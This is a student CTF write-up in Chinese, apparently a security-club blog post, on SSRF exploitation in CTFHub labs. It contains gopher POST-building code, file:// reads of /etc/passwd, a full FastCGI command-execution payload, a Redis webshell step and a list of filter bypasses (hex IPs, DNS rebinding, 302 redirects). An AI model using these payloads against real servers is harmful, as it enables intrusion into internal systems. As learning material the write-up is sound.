皮蛋厂的学习日记_2022.4.20ssrf重修

皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~

2021级 fake_s0u1 | ssrf重修

前言

前置知识

验证漏洞存在

利用

bypass环节

做题之外总结一下

小结

2021级 fake_s0u1 | ssrf重修

前言

为什么要叫重修呢 因为之前学的太差了 题一道做不出来。。

前置知识

概念

SSRF服务器端请求伪造 是一种由攻击者 构造形成由服务端发起请求 的一个安全漏洞 一般情况下 ssrf攻击的目标是从外网无法访问的内部系统 由于其是从服务端发起的 所以能请求到与他相连的但与外网隔离的内部系统 其形成的原因大都是 由于服务端提供了 从其他服务器应用 获取数据的功能且没有对目标地址进行过滤和限制 而引起的漏洞 利用的是服务端的请求伪造 利用存在的缺陷的web应用作为代理攻击远程 和 本地的服务器

成因

其成因大多是由于服务端 提供了从其他服务器获取数据的功能 而没有对目标地址进行过滤 和 限制 应用程序有可以从其他服务器获取数据的功能 但是服务器并没有对网站的请求进行严格的过滤和限制 导致 攻击者可以进行任意url连接访问

内网和外网

其实对于内网和外网 并没有 一个明确的界定 他是一个相对性的概念 例如 对于整个单位的局域网来说 单位中一个办公室的小局域网 就是内网 整个单位的局域网为外网 而相当于城域网来说 单位的局域网就变成内网了 ssrf中的内网一般指公司或者其他的组织自己的局域网常见内网IP 172.16.xx.xx 192.168.xx.xx

ip地址

ip是网络之间互联的协议的缩写 也就是为计算机网络相互连接进行通信而设计的协议 在因特网中 它是能连接到网上的所有计算机网络 实现相互通信的一套规则 规定了计算机 在因特网上进行 通信时 应当遵守的规则

路由

局域网的电脑想和外面联络 就把对方地址告诉服务器 也就是网关 网关以自己的身份和对方联络 同时把对方发过来的消息 转送给 局域网内的电脑 所谓路由就是路径选择 路由连接多个网络 因此一定是各个网络的网关 其作用类似于邮局 你想联系局域网之外的电脑就可以把邮报 发送给路由器 路由器 会帮你投递到邮报上标明的地址

漏洞产生 相关函数和协议file_get_contents()

此函数就是把整个文件或 一个url中的文件读入一个 字符串中 此函数可以从用户指定的url中获取内容 然后指定一个文件名进行保存 file_put_contents() 函数 可以把一个 字符串写入文件中

file_get_contents(path,include_path,context,start,max_length)fsockopen()

打开一个网络连接 或者一个 Unix 套接字连接

本地测试

以curl举例 查看curl支持的协议列表

使用file协议 任意文件读取curl -vvv file:///etc/passwd

验证漏洞存在

其实关于这个漏洞 我还是一窍不通的程度 原因可能是本身就对计算机的网络结构就不大了解。。

我们首先要判断漏洞是否存在 ssrf漏洞就是让服务器发送请求的安全漏洞 我们可以通过抓包分析发送的请求 是否是由服务器发送的 从而判断是否存在ssrf漏洞 或者在 www.baidu.com/xxx.php?image=;这个ip中 如果跳转到的IP地址和直接打开图片的img.png 不相同 则会触发漏洞

其次就是 判断漏洞是否能够利用 先通过 漏洞平台 或 搜索引擎 找出历史存在的该服务器能够访问到的内网地址 再将该内网地址 放在?image= 内网地址 查看是否有返回其他信息

利用

只谈论理论自然是不行的 终究还是要到实践上来

这里使用的是ctfhub的技能树来串一下知识点 顺着来吧

内网访问

直接

url=127.0.0.1/flag.php 

即可获取flag

伪协议读取文件

这里主要是使用file来读取的 同时 也介绍一下其他的协议

file:// 协议

作用:

用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

http/s协议

作用:

探测内网主机存活

dict协议

作用:

泄露安装软件版本信息,查看端口,操作内网redis服务等

Gopher协议

作用:

Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

payload:?url=file:///var/www/html/flag.phpPOST请求

我们上来先尝试使用file协议去读取flag文件 结果发现源码

<?phperror_reporting(0);if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {    echo "Just View From 127.0.0.1";    return;}$flag=getenv("CTFHUB");$key = md5($flag);if (isset($_POST["key"]) && $_POST["key"] == $key) {    echo $flag;    exit;}?>

告诉我们要从127.0.0.1 去访问flag

我们可以得到key 46e36c3cbb9f13de37fc34f2454a4e14

然后我们直接提交key 但是发现还是只能从127.0.0.1 来访问

那么我们不妨使用post来提交 那么 我们就要使用上面所提到的gopher协议 gopher协议可以提交post请求 但是我们在构造请求的时候 要注意 发送post请求包的时候 Host Content-Type Content-Length请求头 是必不可少的 contentlength必须与post请求的长度相同

gopher://ip:port/_payload

通过此脚本我们可以构造post请求

import urllib.parsepayload =\"""POST /flag.php HTTP/1.1Host: 127.0.0.1:80Content-Type: application/x-www-form-urlencodedContent-Length: 36key=d7facc7ca6b656e85bcdb23"""  tmp = urllib.parse.quote(payload)new = tmp.replace(%0A,%0D%0A)result = gopher://127.0.0.1:80/+_+newresult = urllib.parse.quote(result)print(result)  

当我们向服务器发送请求时 浏览器会进行一次 url编码 当服务器接收到请求后 在执行curl命令的时候 又会进行第二次url编码 所以我们构造的请求包要进行两次url编码 我们构造post请求的时候 是以回车/r为换行符的 但在HTTP请求头中 是以/r/n为换行符的

这个脚本结构 便是两头固定 中间加上我们的post请求内容

我们传参便可以得到flag

上传文件

上来还是先使用file协议 读取一下flag 可以获得源码

<?phperror_reporting(0);if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){    echo "Just View From 127.0.0.1";    return;}if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){    echo getenv("CTFHUB");    exit;}?>

前面是一样的 后面的条件语句是 上传一个大小大于0 的文件便可以得到环境 我们可以通过上一题的方法 来上传一个文件 我们现在上传文件的地方抓包 将得到的post请求放到我们的脚本中 运行 可以生成一个gopher 请求 我们使用gopher请求的方式来上传 可以得到flag

这其中还有一个小插曲 是在上传文件的页面 只发现了浏览 没看到上传 。。。这里在学习之后 是要在html中自己加上一笔 做一个提交按钮出来

fastcgi

这个题 打开环境 看到有一个附件 那不妨先来看一下 附件

Fastcgi其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。

HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。

类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件

这个题目可以使用gopherus 来对我们的命令进行改造

然后我们还需要 再将这个进行url二次编码

payload:?url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520/f%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500redis协议

这个题目 我们也要借助gopherus的协助 我们可以

同样的 url二次编码 传参 然后访问 shell.php 蚁剑连接 可以拿到flag

一开始老是gateway 报错 传了好几次 访问了之后才知道传成功了

bypass环节

喜闻乐见x2

urlbypass

比较常用的绕过

进入题目需要我们输入的东西 前面必须要带给的网址 于是 我们可以使用@来 连接

?url=http://[email protected]/flag.php数字ip绕过

不能带127 和 172 这里我们选择使用

?url=0.0.0.0/flag.php

可以绕过

另一方面 wp中给的是 使用进制转换的方式来绕过 可以转为16进制0x7F

也可以绕过

?url=0x7F/flag.php跟随302跳转

之前在很多题目中 都会发现这个考点 这次来学习一下

302 表示临时性重定向 当我们访问一个url时 会重定向另一个url上 其常用于页面跳转 比如未登录 页面跳转 我们是需要利用其跳转 来绕过IP的 检测 跳到127.0.0.1

使用dict协议 可以查看 端口开放情况 当端口开放会返回 bad request 3 当端口未开放时 利用gopher协议反弹了shell 或者 限制了只能使用 http https 设置 跳转重定向 为true 即可利用302 跳转

;短链生成

短网址绕过 dns重定向302 http://t.cn/RwbLKDx

xip.io 绕过 dns重定向到302

读取 源码

<?phperror_reporting(0);if (!isset($_REQUEST[url])) {    header("Location: /?url=_");    exit;}$url = $_REQUEST[url];if (preg_match("/127|172|10|192/", $url)) {    exit("hacker! Ban Intranet IP");}$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_exec($ch);curl_close($ch);

这个题目使用短网址会404 报错 于是使用了一个localhost来绕过

DNS 重绑定bypass

主要是使用一个网站?tdsourcetag=s_pctim_aiomsg

在这里可以将127.0.0.1 的重定向到别的地方 然后就可以达到绕过的目的

?url=7f.7f00000b.rbndr.us/flag.php

做题之外总结一下

限制

1.限制为 域名,采用http基本身份认证的方式绕过。即@:

@www.xxc.com

2.限制请求IP不为内网地址,当不允许ip为内网地址时:

(1)采取短网址绕过

(2)采取特殊域名

(3)采取进制转换

3.限制请求只为http协议

(1)采取302跳转

(2)采取短地址

绕过方法

1.@

2.[::] 这个可以绕过localhost

http://[::]:80/-> http://127.0.0.1

3.添加端口号 比如加上8080

4.短网址绕过

5.特殊域名 也就是我们上面使用到的 dns重绑定

6.句号绕过

127。0。0。1 -> 127.0.0.1

7.进制转换绕过

8.302跳转

小结

主要是通过这次学习 可以将gopher协议尝试使用一下 302 重定向 也有了初步的了解 感谢HerM1t 师傅的周报给了我启发 结合了一点whoami师傅的博客